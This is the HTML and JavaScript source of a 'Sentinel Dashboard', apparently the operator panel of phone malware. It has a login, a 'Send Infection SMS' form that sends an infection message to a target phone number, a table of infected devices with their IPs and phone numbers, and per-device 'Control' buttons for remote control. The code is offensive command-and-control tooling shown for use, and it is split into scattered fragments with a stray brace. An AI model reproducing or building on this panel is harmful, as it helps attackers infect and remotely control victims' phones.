

```
<!DOCTYPE html>

<html lang="en">

<head>

  <meta charset="UTF-8">

  <meta name="viewport" content="width=device-width, initial-scale=1.0">

  <title>Sentinel Dashboard</title>

  <link rel="stylesheet" href="/static/styles.css">

  <script>

    async function login() {

      const username = document.getElementById("username").value;

      const password = document.getElementById("password").value;

      const response = await fetch("/login", {

        method: "POST",

        headers: { "Content-Type": "application/json" },

        body: JSON.stringify({ username, password })

      });

      const data = await response.json();

      if (response.status === 200) {

        localStorage.setItem("token", data.access_token);

        window.location.href = "/dashboard";

      } else {

        alert("Invalid credentials");

      }

    }

  }

  async function fetchDevices() {
```

```

const token = localStorage.getItem("token");

const response = await fetch("/get_devices", {
  headers: { "Authorization": `Bearer ${token}` }
});

const data = await response.json();

let table = document.getElementById("deviceTable");

table.innerHTML = "";

data.devices.forEach(device => {
  let row = table.insertRow();

  row.insertCell(0).innerText = device[0];
  row.insertCell(1).innerText = device[1];
  row.insertCell(2).innerText = device[2];
  row.insertCell(3).innerText = device[3];
  row.insertCell(4).innerText = device[4];

  let controlCell = row.insertCell(5);

  controlCell.innerHTML = `<button
onclick="openControl('${device[0]}')">Control</button>`;

});
}

```

```

async function sendSms() {
  const token = localStorage.getItem("token");

  let phoneNumber = document.getElementById("targetPhone").value;

  const response = await fetch("/send_sms", {
    method: "POST",
    headers: { "Content-Type": "application/json", "Authorization": `Bearer ${token}` },

```

```
        body: JSON.stringify({ phone_number: phoneNumber })
    });

    const data = await response.json();

    alert(data.message);
}
```

```
function openControl(deviceId) {

    window.open(`/control?device_id=${deviceId}`, "_blank",
"width=900,height=600,resizable=yes");

}
```

```
</script>
```

```
</head>
```

```
<body class="dark-mode">
```

```
<h1>Sentinel Dashboard</h1>
```

```
<div id="login-section">
```

```
<h3>Login</h3>
```

```
<input type="text" id="username" placeholder="Username">
```

```
<input type="password" id="password" placeholder="Password">
```

```
<button onclick="login()">Login</button>
```

```
</div>
```

```
<div id="dashboard-section" style="display:none;">
```

```
<h3>Send Infection SMS</h3>
```

```
<input type="text" id="targetPhone" placeholder="Enter Target Phone Number">
```

```
<button onclick="sendSms()">Send SMS</button>
```

```
<h3>Search Devices</h3>
```

```
<input type="text" id="searchDevice" placeholder="Search by ID or Phone"  
onkeyup="searchDevices()">
```

```
<h3>Infected Devices</h3>
```

```
<table border="1">
```

```
<tr>
```

```
<th>Device ID</th>
```

```
<th>IP</th>
```

```
<th>Phone Number</th>
```

```
<th>Status</th>
```

```
<th>Last Seen</th>
```

```
<th>Controls</th>
```

```
</tr>
```

```
<tbody id="deviceTable"></tbody>
```

```
</table>
```

```
</div>
```

```
<script>
```

```
function searchDevices() {
```

```
    let input = document.getElementById("searchDevice").value.toLowerCase();
```

```
    let table = document.getElementById("deviceTable");
```

```
    let rows = table.getElementsByTagName("tr");
```

```
    for (let i = 0; i < rows.length; i++) {
```

```
        let cells = rows[i].getElementsByTagName("td");
```

```
if (cells.length > 0) {  
    let id = cells[0].innerText.toLowerCase();  
    let phone = cells[2].innerText.toLowerCase();  
    if (id.includes(input) || phone.includes(input)) {  
        rows[i].style.display = "";  
    } else {  
        rows[i].style.display = "none";  
    }  
}  
}  
}  
}  
</script>  
</body>  
</html>
```